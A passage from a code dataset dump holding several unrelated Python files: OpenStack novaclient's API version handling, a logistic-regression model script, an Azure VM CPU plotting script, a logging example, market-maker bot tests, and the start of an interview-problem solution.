oslo_utils import strutils\n\nimport novaclient\nfrom novaclient import exceptions\nfrom novaclient.i18n import _\n\nLOG = logging.getLogger(__name__)\nif not LOG.handlers:\n LOG.addHandler(logging.StreamHandler())\n\n\nLEGACY_HEADER_NAME = \"X-OpenStack-Nova-API-Version\"\nHEADER_NAME = \"OpenStack-API-Version\"\nSERVICE_TYPE = \"compute\"\n\n_SUBSTITUTIONS = {}\n\n_type_error_msg = _(\"'%(other)s' should be an instance of '%(cls)s'\")\n\n\nclass APIVersion(object):\n \"\"\"This class represents an API Version Request.\n\n This class provides convenience methods for manipulation\n and comparison of version numbers that we need to do to\n implement microversions.\n \"\"\"\n\n def __init__(self, version_str=None):\n \"\"\"Create an API version object.\n\n :param version_str: String representation of APIVersionRequest.\n Correct format is 'X.Y', where 'X' and 'Y'\n are int values. None value should be used\n to create Null APIVersionRequest, which is\n equal to 0.0\n \"\"\"\n self.ver_major = 0\n self.ver_minor = 0\n\n if version_str is not None:\n match = re.match(r\"^([1-9]\\d*)\\.([1-9]\\d*|0|latest)$\", version_str)\n if match:\n self.ver_major = int(match.group(1))\n if match.group(2) == \"latest\":\n # NOTE(andreykurilin): Infinity allows to easily determine\n # latest version and doesn't require any additional checks\n # in comparison methods.\n self.ver_minor = float(\"inf\")\n else:\n self.ver_minor = int(match.group(2))\n else:\n msg = _(\"Invalid format of client version '%s'. \"\n \"Expected format 'X.Y', where X is a major part and Y \"\n \"is a minor part of version.\") % version_str\n raise exceptions.UnsupportedVersion(msg)\n\n def __str__(self):\n \"\"\"Debug/Logging representation of object.\"\"\"\n if self.is_latest():\n return \"Latest API Version Major: %s\" % self.ver_major\n return (\"API Version Major: %s, Minor: %s\"\n % (self.ver_major, self.ver_minor))\n\n def __repr__(self):\n if self.is_null():\n return \"\"\n else:\n return \"\" % self.get_string()\n\n def is_null(self):\n return self.ver_major == 0 and self.ver_minor == 0\n\n def is_latest(self):\n return self.ver_minor == float(\"inf\")\n\n def __lt__(self, other):\n if not isinstance(other, APIVersion):\n raise TypeError(_type_error_msg % {\"other\": other,\n \"cls\": self.__class__})\n\n return ((self.ver_major, self.ver_minor) <\n (other.ver_major, other.ver_minor))\n\n def __eq__(self, other):\n if not isinstance(other, APIVersion):\n raise TypeError(_type_error_msg % {\"other\": other,\n \"cls\": self.__class__})\n\n return ((self.ver_major, self.ver_minor) ==\n (other.ver_major, other.ver_minor))\n\n def __gt__(self, other):\n if not isinstance(other, APIVersion):\n raise TypeError(_type_error_msg % {\"other\": other,\n \"cls\": self.__class__})\n\n return ((self.ver_major, self.ver_minor) >\n (other.ver_major, other.ver_minor))\n\n def __le__(self, other):\n return self < other or self == other\n\n def __ne__(self, other):\n return not self.__eq__(other)\n\n def __ge__(self, other):\n return self > other or self == other\n\n def matches(self, min_version, max_version):\n \"\"\"Matches the version object.\n\n Returns whether the version object represents a version\n greater than or equal to the minimum version and less than\n or equal to the maximum version.\n\n :param min_version: Minimum acceptable version.\n :param max_version: Maximum acceptable version.\n :returns: boolean\n\n If min_version is null then there is no minimum limit.\n If max_version is null then there is no maximum limit.\n If self is null then raise ValueError\n \"\"\"\n\n if self.is_null():\n raise ValueError(_(\"Null APIVersion doesn't support 'matches'.\"))\n if max_version.is_null() and min_version.is_null():\n return True\n elif max_version.is_null():\n return min_version <= self\n elif min_version.is_null():\n return self <= max_version\n else:\n return min_version <= self <= max_version\n\n def get_string(self):\n \"\"\"Version string representation.\n\n Converts object to string representation which if used to create\n an APIVersion object results in the same version.\n \"\"\"\n if self.is_null():\n raise ValueError(\n _(\"Null APIVersion cannot be converted to string.\"))\n elif self.is_latest():\n return \"%s.%s\" % (self.ver_major, \"latest\")\n return \"%s.%s\" % (self.ver_major, self.ver_minor)\n\n\nclass VersionedMethod(object):\n\n def __init__(self, name, start_version, end_version, func):\n \"\"\"Versioning information for a single method\n\n :param name: Name of the method\n :param start_version: Minimum acceptable version\n :param end_version: Maximum acceptable_version\n :param func: Method to call\n\n Minimum and maximums are inclusive\n \"\"\"\n self.name = name\n self.start_version = start_version\n self.end_version = end_version\n self.func = func\n\n def __str__(self):\n return (\"Version Method %s: min: %s, max: %s\"\n % (self.name, self.start_version, self.end_version))\n\n def __repr__(self):\n return \"\" % self.name\n\n\ndef get_available_major_versions():\n # NOTE(andreykurilin): available clients version should not be\n # hardcoded, so let's discover them.\n matcher = re.compile(r\"v[0-9]*$\")\n submodules = pkgutil.iter_modules([os.path.dirname(__file__)])\n available_versions = [name[1:] for loader, name, ispkg in submodules\n if matcher.search(name)]\n\n return available_versions\n\n\ndef check_major_version(api_version):\n \"\"\"Checks major part of ``APIVersion`` obj is supported.\n\n :raises novaclient.exceptions.UnsupportedVersion: if major part is not\n supported\n \"\"\"\n available_versions = get_available_major_versions()\n if (not api_version.is_null() and\n str(api_version.ver_major) not in available_versions):\n if len(available_versions) == 1:\n msg = _(\"Invalid client version '%(version)s'. \"\n \"Major part should be '%(major)s'\") % {\n \"version\": api_version.get_string(),\n \"major\": available_versions[0]}\n else:\n msg = _(\"Invalid client version '%(version)s'. \"\n \"Major part must be one of: '%(major)s'\") % {\n \"version\": api_version.get_string(),\n \"major\": \", \".join(available_versions)}\n raise exceptions.UnsupportedVersion(msg)\n\n\ndef get_api_version(version_string):\n \"\"\"Returns checked APIVersion object\"\"\"\n version_string = str(version_string)\n if strutils.is_int_like(version_string):\n version_string = \"%s.0\" % version_string\n\n api_version = APIVersion(version_string)\n check_major_version(api_version)\n return api_version\n\n\ndef _get_server_version_range(client):\n version = client.versions.get_current()\n\n if not hasattr(version, 'version') or not version.version:\n return APIVersion(), APIVersion()\n\n return APIVersion(version.min_version), APIVersion(version.version)\n\n\ndef discover_version(client, requested_version):\n \"\"\"Discover most recent version supported by API and client.\n\n Checks ``requested_version`` and returns the most recent version\n supported by both the API and the client.\n\n :param client: client object\n :param requested_version: requested version represented by APIVersion obj\n :returns: APIVersion\n \"\"\"\n server_start_version, server_end_version = _get_server_version_range(\n client)\n\n if (not requested_version.is_latest() and\n requested_version != APIVersion('2.0')):\n if server_start_version.is_null() and server_end_version.is_null():\n raise exceptions.UnsupportedVersion(\n _(\"Server doesn't support microversions\"))\n if not requested_version.matches(server_start_version,\n server_end_version):\n raise exceptions.UnsupportedVersion(\n _(\"The specified version isn't supported by server. The valid \"\n \"version range is '%(min)s' to '%(max)s'\") % {\n \"min\": server_start_version.get_string(),\n \"max\": server_end_version.get_string()})\n return requested_version\n\n if requested_version == APIVersion('2.0'):\n if (server_start_version == APIVersion('2.1') or\n (server_start_version.is_null() and\n server_end_version.is_null())):\n return APIVersion('2.0')\n else:\n raise exceptions.UnsupportedVersion(\n _(\"The server isn't backward compatible with Nova V2 REST \"\n \"API\"))\n\n if server_start_version.is_null() and server_end_version.is_null():\n return APIVersion('2.0')\n elif novaclient.API_MIN_VERSION > server_end_version:\n raise exceptions.UnsupportedVersion(\n _(\"Server version is too old. The client valid version range is \"\n \"'%(client_min)s' to '%(client_max)s'. The server valid version \"\n \"range is '%(server_min)s' to '%(server_max)s'.\") % {\n 'client_min': novaclient.API_MIN_VERSION.get_string(),\n 'client_max': novaclient.API_MAX_VERSION.get_string(),\n 'server_min': server_start_version.get_string(),\n 'server_max': server_end_version.get_string()})\n elif novaclient.API_MAX_VERSION < server_start_version:\n raise exceptions.UnsupportedVersion(\n _(\"Server version is too new. The client valid version range is \"\n \"'%(client_min)s' to '%(client_max)s'. The server valid version \"\n \"range is '%(server_min)s' to '%(server_max)s'.\") % {\n 'client_min': novaclient.API_MIN_VERSION.get_string(),\n 'client_max': novaclient.API_MAX_VERSION.get_string(),\n 'server_min': server_start_version.get_string(),\n 'server_max': server_end_version.get_string()})\n elif novaclient.API_MAX_VERSION <= server_end_version:\n return novaclient.API_MAX_VERSION\n elif server_end_version < novaclient.API_MAX_VERSION:\n return server_end_version\n\n\ndef update_headers(headers, api_version):\n \"\"\"Set microversion headers if api_version is not null\"\"\"\n\n if not api_version.is_null():\n version_string = api_version.get_string()\n if api_version.ver_minor != 0:\n headers[LEGACY_HEADER_NAME] = version_string\n if api_version.ver_minor >= 27:\n headers[HEADER_NAME] = '%s %s' % (SERVICE_TYPE, version_string)\n\n\ndef check_headers(response, api_version):\n \"\"\"Checks that microversion header is in response.\"\"\"\n if api_version.ver_minor > 0:\n if (api_version.ver_minor < 27 and\n LEGACY_HEADER_NAME not in response.headers):\n _warn_missing_microversion_header(LEGACY_HEADER_NAME)\n elif (api_version.ver_minor >= 27 and\n HEADER_NAME not in response.headers):\n _warn_missing_microversion_header(HEADER_NAME)\n\n\ndef _add_substitution(versioned_method):\n _SUBSTITUTIONS.setdefault(versioned_method.name, [])\n _SUBSTITUTIONS[versioned_method.name].append(versioned_method)\n\n\ndef _get_function_name(func):\n # NOTE(andreykurilin): Based on the facts:\n # - Python 2 does not have __qualname__ property as Python 3 has;\n # - we cannot use im_class here, since we need to obtain name of\n # function in `wraps` decorator during class initialization\n # (\"im_class\" property does not exist at that moment)\n # we need to write own logic to obtain the full function name which\n # include module name, owner name(optional) and just function name.\n filename, _lineno, _name, line = traceback.extract_stack()[-4]\n module, _file_extension = os.path.splitext(filename)\n module = module.replace(\"/\", \".\")\n if module.endswith(func.__module__):\n return \"%s.[%s].%s\" % (func.__module__, line, func.__name__)\n else:\n return \"%s.%s\" % (func.__module__, func.__name__)\n\n\ndef get_substitutions(func_name, api_version=None):\n if hasattr(func_name, \"__id__\"):\n func_name = func_name.__id__\n\n substitutions = _SUBSTITUTIONS.get(func_name, [])\n if api_version and not api_version.is_null():\n return [m for m in substitutions\n if api_version.matches(m.start_version, m.end_version)]\n return sorted(substitutions, key=lambda m: m.start_version)\n\n\n# FIXME(mriedem): This breaks any ManagerWithFind.list method that has a\n# 'detailed' kwarg since the ManagerWithFind.findall won't find the correct\n# argspec from the wrapped list method.\ndef wraps(start_version, end_version=None):\n start_version = APIVersion(start_version)\n if end_version:\n end_version = APIVersion(end_version)\n else:\n end_version = APIVersion(\"%s.latest\" % start_version.ver_major)\n\n def decor(func):\n func.versioned = True\n name = _get_function_name(func)\n\n versioned_method = VersionedMethod(name, start_version,\n end_version, func)\n _add_substitution(versioned_method)\n\n @functools.wraps(func)\n def substitution(obj, *args, **kwargs):\n methods = get_substitutions(name, obj.api_version)\n\n if not methods:\n raise exceptions.VersionNotFoundForAPIMethod(\n obj.api_version.get_string(), name)\n return methods[-1].func(obj, *args, **kwargs)\n\n # Let's share \"arguments\" with original method and substitution to\n # allow put utils.arg and wraps decorators in any order\n if not hasattr(func, 'arguments'):\n func.arguments = []\n substitution.arguments = func.arguments\n\n # NOTE(andreykurilin): The way to obtain function's name in Python 2\n # bases on traceback(see _get_function_name for details). Since the\n # right versioned method is used in several places, one object\n # can have different names. Let's generate name of function one time\n # and use __id__ property in all other places.\n substitution.__id__ = name\n\n return substitution\n\n return decor\n\n\ndef _warn_missing_microversion_header(header_name):\n \"\"\"Log a warning about missing microversion response header.\"\"\"\n LOG.warning(_(\n \"Your request was processed by a Nova API which does not support \"\n \"microversions (%s header is missing from response). \"\n \"Warning: Response may be incorrect.\"), header_name)\n\n\ndef deprecated_after(version):\n decorator = wraps('2.0', version)\n\n def wrapper(fn):\n @functools.wraps(fn)\n def wrapped(*a, **k):\n decorated = decorator(fn)\n if hasattr(fn, '__module__'):\n mod = fn.__module__\n else:\n mod = a[0].__module__\n warnings.warn('The %s module is deprecated '\n 'and will be removed.' % mod, DeprecationWarning)\n return decorated(*a, **k)\n return wrapped\n return wrapper\n","repo_name":"openstack/python-novaclient","sub_path":"novaclient/api_versions.py","file_name":"api_versions.py","file_ext":"py","file_size_in_byte":16686,"program_lang":"python","lang":"en","doc_type":"code","stars":381,"dataset":"github-code","pt":"3"} +{"seq_id":"19940865734","text":"\"\"\"\nLogistic regression\n\"\"\"\n\nimport os\nimport sys\nimport itertools\nimport multiprocessing\nimport logging\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport sklearn\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.linear_model import LogisticRegression\n\nimport xgboost\n\nimport data_loader\nimport util\nimport plotting\n\nplt.rcParams['figure.figsize'] = [18, 9]\n\ndef plot_overall_feature_contributions(df, weights, fname):\n \"\"\"\n Plots overall feature contributions for a table with features on the left, observations on top\n Weights should be a dictionary or pandas series that supports weights[label]\n \"\"\"\n assert isinstance(df, pd.DataFrame)\n assert df.shape[1] == len(weights)\n multiplied = []\n for _i, row in df.iterrows():\n multiplied.append([ft * w][0] for ft, w in zip(row, weights))\n multiplied = pd.DataFrame(multiplied, index=df.index, columns=df.columns).transpose()\n multiplied = multiplied[weights != 0]\n weights = weights[weights != 0]\n medians = multiplied.median(1)\n assert len(medians) == multiplied.shape[0]\n medians.sort_values(ascending=False, inplace=True)\n multiplied = multiplied.loc[medians.index]\n fig, (ax1, ax2) = plt.subplots(2, 1, gridspec_kw={'height_ratios':[4, 1]}, sharex=True)\n ax1.boxplot(multiplied)\n ax1.set_ylabel(\"Contribution to prediction (weight * feature value)\")\n ax1.set_title(\"Aggregated feature contributions\")\n \n weights_reordered = np.array([weights[label] for label in medians.index])\n assert len(weights_reordered) == len(medians.index)\n ax2.bar(np.arange(len(weights_reordered)) + 1, weights_reordered) # +1 because boxplot labels are 1-indexed\n ax2.set_xticklabels(multiplied.index, rotation=90)\n ax2.set_xlabel(\"Features (n={})\".format(len(weights_reordered)))\n ax2.set_ylabel(\"Log. reg. weight\")\n\n plt.savefig(fname, bbox_inches='tight', dpi=600)\n # print(fname)\n\ndef log_reg(x_train, y_train, x_test, y_test, c=0.1, ft_contrib_plot_fname=\"\"):\n \"\"\"\n Train logistic regression with L1 regularization. C value in function signature is optimal\n value based on parameter sweep.\n \"\"\"\n # Standardize\n sc = StandardScaler()\n x_train_std = sc.fit_transform(x_train)\n x_test_std = sc.transform(x_test)\n model = LogisticRegression(penalty='l1', max_iter=1000, solver='liblinear', C=c, random_state=98572)\n logging.debug(\"Training logistic regression with parameters c={}\".format(c))\n model.fit(x_train_std, y_train)\n y_pred = model.predict(x_test_std)\n f1 = sklearn.metrics.f1_score(y_test, y_pred)\n accuracy = sklearn.metrics.accuracy_score(y_test, y_pred)\n precision = sklearn.metrics.precision_score(y_test, y_pred)\n recall = sklearn.metrics.recall_score(y_test, y_pred)\n\n pos_indices = [index for index in range(len(y_pred)) if y_pred[index]]\n pos_feature_matrix = pd.DataFrame(\n x_train_std[pos_indices,],\n index=x_train.index[pos_indices],\n columns=x_train.columns,\n )\n weights_labeled = pd.Series(np.ndarray.flatten(model.coef_), index=x_train.columns)\n if ft_contrib_plot_fname:\n plot_overall_feature_contributions(pos_feature_matrix, weights_labeled, ft_contrib_plot_fname)\n\n return accuracy, precision, recall, f1\n\ndef main(percentile=25):\n data = util.impute_by_col(data_loader.load_all_data(), np.mean)\n rates = data.pop('heart_disease_mortality')\n rates_high_low = util.continuous_to_categorical(rates, 100 - percentile)\n train_validation_partitions, test_set = util.split_train_valid_k_fold(data, rates_high_low)\n\n # Evaluate k fold in parallel and tune hyperparameters\n parameters = []\n metrics = []\n reg_constant_candidates = [0.01, 0.1, 1.0, 10.0, 100]\n pool = multiprocessing.Pool(multiprocessing.cpu_count())\n for reg_constant in reg_constant_candidates:\n performance_metrics = pool.starmap(log_reg, [part + (reg_constant, \"\") for i, part in enumerate(train_validation_partitions)])\n overall = np.vstack(performance_metrics)\n logging.info(\"Average logreg metrics with c={}:\\t{}\".format(reg_constant, np.mean(overall, axis=0)))\n parameters.append((reg_constant))\n metrics.append(np.mean(overall, axis=0))\n pool.close()\n pool.join()\n\n metrics = np.vstack(metrics)\n for i, metric in enumerate(['Accuracy', 'Precision', 'Recall', 'F1 Score']):\n best_index = np.argmax(metrics[:,i])\n logging.info(\"Model with best {metric}:\\t{value}\\t{hyperparams}\".format(\n metric=metric,\n value=np.round(metrics[best_index, i], decimals=4),\n hyperparams=parameters[best_index],\n ))\n \n logging.info(\"Plotting feature importance for c=1.0\")\n list(itertools.starmap(log_reg, [part + (1.0, os.path.join(plotting.PLOTS_DIR, \"logreg_kfold_pos_{}.png\".format(i))) for i, part in enumerate(train_validation_partitions)]))\n\nif __name__ == \"__main__\":\n logging.basicConfig(level=logging.INFO)\n main()\n\n","repo_name":"wukevin/heartbreaker","sub_path":"heartbreaker/model_log_reg.py","file_name":"model_log_reg.py","file_ext":"py","file_size_in_byte":5005,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"10744748435","text":"import matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport pandas as pd\r\n#Baraa Abu Asfar\r\n#Dana Ghazal\r\n#Aya Alali\r\n#from 195 file\r\ndata_path = r'C:\\Users\\dell\\Desktop\\vm_cpu_readings-file-133-of-195.csv'\r\nheaders=['timestamp','vm id','min cpu','max cpu','avg cpu']\r\ndata = pd.read_csv(data_path, header=None, index_col=False,names=headers,delimiter=',')\r\ntime=data[data['timestamp']==(1759800)]\r\nmaxcpu=time['max cpu']\r\ncounts_MAX =(data.groupby(maxcpu).size().rename('Freq')).reset_index()\r\ncounts_MAX = counts_MAX.rename(columns={'max cpu': 'Bucket'})\r\ncounts_MAX['cum'] = counts_MAX['Freq'].cumsum() / counts_MAX['Freq'].sum() * 100\r\nax = counts_MAX.plot(x='Bucket', y='cum',linestyle='-',label='Max')\r\nax.set_xlabel('CPU Utilization')\r\nax.set_ylabel('CDF')\r\nax.set_xlim([1, 100])\r\nax.legend()\r\nplt.title('VM CPU Utilization for machines that timestamp equal 1759800')\r\nplt.show()\r\navg=data[data['avg cpu'] > 10]\r\nmincpu=avg['min cpu']\r\ncounts_MIN = (data.groupby(mincpu).size().rename('Freq')).reset_index()\r\ncounts_MIN = counts_MIN.rename(columns={'min cpu': 'Bucket'})\r\ncounts_MIN['cum'] = counts_MIN['Freq'].cumsum() / counts_MIN['Freq'].sum() * 100\r\nax= counts_MIN.plot(x='Bucket', y='cum', linestyle='--', logx=False, color='g',label='Min')\r\nax.set_xlabel('CPU Utilization')\r\nax.set_ylabel('CDF')\r\nax.set_xlim([1, 100])\r\nax.legend()\r\nplt.title('VM CPU Utilization for machines that average CPU greater than 10')\r\nplt.show()\r\nprint(data.shape)","repo_name":"danagh1/Azure-VM-Workload-Data-Analysis","sub_path":"project (1).py","file_name":"project (1).py","file_ext":"py","file_size_in_byte":1454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"22188274581","text":"\nimport logging\n\nlog_format = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n\nlogger = logging.getLogger(\"my logger_examp_2\")\nlogger.setLevel(logging.DEBUG)\n\nf_handler = logging.FileHandler('loggerexample2.log')\nf_handler.setLevel(logging.DEBUG)\n\n\nf_handler.setFormatter(log_format)\n\nlogger.addHandler(f_handler)\n\nstream_handler = logging.StreamHandler()\nstream_handler.setLevel(logging.WARN)\nstream_handler.setFormatter(log_format)\n\nlogger.addHandler(stream_handler)\n\n\nlogger.debug(\"test\")\n\ndef fun_use_logger():\n logger.debug(\"test 2 debug\")\n # Only this will be displayed to console\n logger.error(\"test 3 error\")\n\nfun_use_logger()","repo_name":"iuyt9003/pythonexamples","sub_path":"examples/logger/logger_example_2.py","file_name":"logger_example_2.py","file_ext":"py","file_size_in_byte":669,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"12054727233","text":"import pytest\nfrom munch import DefaultMunch\n\nfrom market_maker.strategy.market_maker import MarketMaker\nfrom market_maker.gateways import gateway_interface\n\nfrom market_maker.definitions import (\n TopOfBook,\n)\n\n\nclass BittestStorage:\n def __init__(self):\n self.uid_to_eid = {}\n self.eid_to_uid = {}\n\n\nclass BittestAdapter(gateway_interface.GatewayInterface):\n\n def __init__(self):\n super().__init__()\n\n self.is_ready_flag = True\n self.storage = BittestStorage()\n self.config = DefaultMunch()\n self.config.name = \"bittest\"\n self.orders_sent = 0\n self.orders_amended = 0\n self.orders_cancelled = 0\n self.amend_orders_data = []\n self.new_orders_data = []\n self.send_post_only_orders = False\n\n def update_post_only_flag(self, post_only_flag):\n self.send_post_only_orders = post_only_flag\n\n def set_order_update_callback(self, callback):\n pass\n\n async def send_order(self, order_request):\n res = api_result()\n res.success = True\n\n self.orders_sent += 1\n self.new_orders_data.append(order_request)\n return res\n\n async def send_orders(self, orders_request):\n res = api_result()\n res.success = True\n\n self.orders_sent += len(orders_request)\n for _request in orders_request:\n self.new_orders_data.append(_request)\n return res\n\n async def amend_orders(self, new, old):\n res = api_result()\n res.success = True\n\n self.orders_amended += len(new)\n return res\n\n async def amend_order(self, i, j):\n res = api_result()\n res.success = True\n\n self.orders_amended += 1\n self.amend_orders_data.append((i, j))\n return res\n\n async def cancel_order(self, cancel_request):\n res = api_result()\n res.success = True\n\n self.orders_cancelled += 1\n return res\n\n async def cancel_orders(self, cancel_requests):\n res = api_result()\n res.success = True\n\n self.orders_cancelled += len(cancel_requests)\n return res\n\n async def cancel_active_orders(self):\n pass\n\n async def start(self):\n pass\n\n async def stop(self):\n pass\n\n def is_ready(self):\n return self.is_ready_flag\n\n async def listen(self):\n pass\n\n\n@pytest.fixture\ndef cfg_strategy_fixture():\n b = DefaultMunch()\n b.url = \"test_url\"\n b.api_key = \"test_key\"\n b.api_secret = \"test_secret\"\n\n b.name = \"market_maker\"\n b.instrument_name = \"TEST-PERP\"\n b.mid_price_based_calculation = False\n b.send_post_only_orders = True\n\n b.tick_size = 1\n b.price_rounding = 2\n b.stop_strategy_on_error = True\n\n b.positional_retreat = DefaultMunch()\n b.positional_retreat.position_increment = 100\n b.positional_retreat.retreat_ticks = 5\n\n b.orders = DefaultMunch()\n b.orders.asks = [[0, 1]]\n b.orders.bids = [[0, 1]]\n return b\n\n\n@pytest.mark.asyncio\nasync def test_maker_init(cfg_strategy_fixture):\n try:\n strategy = MarketMaker(cfg_strategy_fixture, BittestAdapter())\n except Exception:\n assert False\n\n\n@pytest.mark.asyncio\nasync def test_maker_rounding_tob_based(cfg_strategy_fixture):\n try:\n strategy = MarketMaker(cfg_strategy_fixture, BittestAdapter())\n except Exception:\n assert False\n\n _tob = TopOfBook()\n _tob.exchange = \"test_exchange\"\n _tob.product = \"test-perp\"\n _tob.best_bid_price = 99.0\n _tob.best_bid_qty = 1\n _tob.best_ask_price = 101.0\n _tob.best_ask_qty = 1\n _tob.timestamp = 0.0\n\n strategy.tob = _tob\n\n orders = strategy.generate_orders()\n\n assert orders[0].price == _tob.best_ask_price\n assert orders[1].price == _tob.best_bid_price\n\n\n@pytest.mark.asyncio\nasync def test_maker_rounding_mid_based_1(cfg_strategy_fixture):\n cfg_strategy_fixture.mid_price_based_calculation = True\n\n try:\n strategy = MarketMaker(cfg_strategy_fixture, BittestAdapter())\n except Exception:\n assert False\n\n _tob = TopOfBook()\n _tob.exchange = \"test_exchange\"\n _tob.product = \"test-perp\"\n _tob.best_bid_price = 100.5\n _tob.best_bid_qty = 1\n _tob.best_ask_price = 101.0\n _tob.best_ask_qty = 1\n _tob.timestamp = 0.0\n\n strategy.tob = _tob\n\n orders = strategy.generate_orders()\n\n assert orders[0].price == 101\n assert orders[1].price == 100\n\n\n@pytest.mark.asyncio\nasync def test_maker_rounding_mid_based_2(cfg_strategy_fixture):\n cfg_strategy_fixture.mid_price_based_calculation = True\n\n try:\n strategy = MarketMaker(cfg_strategy_fixture, BittestAdapter())\n except Exception:\n assert False\n\n _tob = TopOfBook()\n _tob.exchange = \"test_exchange\"\n _tob.product = \"test-perp\"\n _tob.best_bid_price = 99.0\n _tob.best_bid_qty = 1\n _tob.best_ask_price = 101.0\n _tob.best_ask_qty = 1\n _tob.timestamp = 0.0\n\n strategy.tob = _tob\n\n orders = strategy.generate_orders()\n\n assert orders[0].price == 101\n assert orders[1].price == 99\n\n\n@pytest.mark.asyncio\nasync def test_maker_rounding_mid_based_3(cfg_strategy_fixture):\n cfg_strategy_fixture.mid_price_based_calculation = True\n\n try:\n strategy = MarketMaker(cfg_strategy_fixture, BittestAdapter())\n except Exception:\n assert False\n\n _tob = TopOfBook()\n _tob.exchange = \"test_exchange\"\n _tob.product = \"test-perp\"\n _tob.best_bid_price = 95.0\n _tob.best_bid_qty = 1\n _tob.best_ask_price = 105.0\n _tob.best_ask_qty = 1\n _tob.timestamp = 0.0\n\n strategy.tob = _tob\n\n orders = strategy.generate_orders()\n\n assert orders[0].price == 100\n assert orders[1].price == 99\n\n\n@pytest.mark.asyncio\nasync def test_maker_positional_retreat(cfg_strategy_fixture):\n try:\n strategy = MarketMaker(cfg_strategy_fixture, BittestAdapter())\n except Exception:\n assert False\n\n _tob = TopOfBook()\n _tob.exchange = \"test_exchange\"\n _tob.product = \"test-perp\"\n _tob.best_bid_price = 99.0\n _tob.best_bid_qty = 1\n _tob.best_ask_price = 101.0\n _tob.best_ask_qty = 1\n _tob.timestamp = 0.0\n\n strategy.tob = _tob\n\n orders = strategy.generate_orders()\n\n assert orders[0].price == _tob.best_ask_price\n assert orders[1].price == _tob.best_bid_price\n\n assert strategy.should_perform_positional_retreat()\n\n strategy.current_position = 200\n orders = strategy.perform_retreats(orders)\n\n assert orders[0].price == _tob.best_bid_price - 10*strategy.tick_size\n assert orders[1].price == _tob.best_ask_price\n","repo_name":"evermarkets/market-maker-bot","sub_path":"tests/test_strategies.py","file_name":"test_strategies.py","file_ext":"py","file_size_in_byte":6558,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"3"} +{"seq_id":"16119925170","text":"\"\"\"\nYou have a list of integers, and for each index you want to find the product of every integer except the integer at that index.\n\nWrite a function get_products_of_all_ints_except_at_index() that takes a list of integers and returns a list of the products.\n\nFor example, given:\n\n [1, 7, 3, 4]\n\nyour function would return:\n\n [84, 12, 28, 21]\n\nby calculating:\n\n [7 * 3 * 4, 1 * 3 * 4, 1 * 7 * 4, 1 * 7 * 3]\n\nHere's the catch: You can't use division in your solution!\n\"\"\"\n\nimport unittest\n\n\ndef get_products_of_all_ints_except_at_index(int_list):\n if len(int_list) < 2:\n raise IndexError('Getting the product of numbers at other '\n 'indices requires at least 2 numbers')\n\n # We make a list with the length of the input list to\n # hold our products\n\n products_of_all_ints_except_at_index = [None] * len(int_list)\n # Make a list with the products\n\n product_so_far = 1\n for i in xrange(len(int_list)):\n products_of_all_ints_except_at_index[i] = product_so_far\n product_so_far *= int_list[i]\n\n # For each integer, we find the product of all the integers\n # after it. since each index in products already has the\n # product of all the integers before it, now we're storing\n # the total product of all other integers\n product_so_far = 1\n for i in xrange(len(int_list) - 1, -1, -1):\n products_of_all_ints_except_at_index[i] *= product_so_far\n product_so_far *= int_list[i]\n return products_of_all_ints_except_at_index\n\n\"\"\"\nBreakdown\nA brute force approach would use two loops to multiply the integer at every index by the integer at every nested_index, unless index == nested_index.\n\nThis would give us a runtime of O(n^2). Can we do better?\n\nWell, we’re wasting a lot of time doing the same calculations. As an example, let's take:\n\n # Input list\n[1, 2, 6, 5, 9]\n\n# List of the products of all integers\n# except the integer at each index:\n[540, 270, 90, 108, 60] # [2 * 6 * 5 * 9, 1 * 6 * 5 * 9, 1 * 2 * 5 * 9, 1 * 2 * 6 * 9, 1 * 2 * 6 * 5]\n\nWe're doing some of the same multiplications two or three times!\n\nWhen we calculate [2*6*5*9, 1*6*5*9, 1*2*5*9, 1*2*6*9, 1*2*6*5], we're calculating 5*9 three times: at indices 0, 1, and 2.\nOr look at this pattern:\n\nWhen we calculate [2*6*5*9, 1*6*5*9, 1*2*5*9, 1*2*6*9, 1*2*6*5], we have 1 in index 1, and we calculate 1*2 at index 2,\n 1*2*6 at index 3, and 1*2*6*5 at index 4.\nWe’re redoing multiplications when instead we could be storing the results! This would be a great time to use a greedy ↴ approach. We could store the results of each multiplication highlighted in blue, then just multiply by one new integer each time.\n\nSo in the last highlighted multiplication, for example, we wouldn’t have to multiply 1*2*6 again.\n If we stored that value (12) from the previous multiplication, we could just multiply 12*5.\n\nCan we break our problem down into subproblems so we can use a greedy approach?\n\nLet's look back at the last example:\n\nWhen we calculate [2*6*5*9, 1*6*5*9, 1*2*5*9, 1*2*6*9, 1*2*6*5], we have 1 in index 1, and we calculate 1*2 at index 2, 1*2*6 at index 3, and 1*2*6*5 at index 4.\nWhat do all the highlighted multiplications have in common?\n\nThey are all the integers that are before each index in the input list ([1, 2, 6, 5, 9][1,2,6,5,9]). For example, the highlighted multiplication at index 3 (1*2*61∗2∗6) is all the integers before index 3 in the input list.\n\nIn the pattern where we calculate 1*2 at index 2, 1*2*6 at index 3, and 1*2*6*5 at index 4, each calculation is the product of all the numbers before the number at that index. For example, 5 is at index 3, and 1*2*6 is the product of all the numbers before 5 in the input array.\nDo all the multiplications that aren't highlighted have anything in common?\n\nYes, they're all the integers that are after each index in the input list!\n\nKnowing this, can we break down our original problem to use a greedy approach?\n\nThe product of all the integers except the integer at each index can be broken down into two pieces:\n\nthe product of all the integers before each index, and\nthe product of all the integers after each index.\nTo start, let's just get the product of all the integers before each index.\n\nHow can we do this? Let's take another example:\n\n # Input list\n[3, 1, 2, 5, 6, 4]\n\n# Multiplication of all integers before each index\n# (we give index 0 a value of 1 since it has no integers before it)\n[1, 3, 3 * 1, 3 * 1 * 2, 3 * 1 * 2 * 5, 3 * 1 * 2 * 5 * 6]\n\n# Final list of the products of all the integers before each index\n[1, 3, 3, 6, 30, 180]\n\nNotice that we're always adding one new integer to our multiplication for each index!\n\nSo to get the products of all the integers before each index, we could greedily store each product so far and multiply that by the next integer. Then we can store that new product so far and keep going.\n\nSo how can we apply this to our input list?\n\nLet’s make a list products_of_all_ints_before_index:\n\n 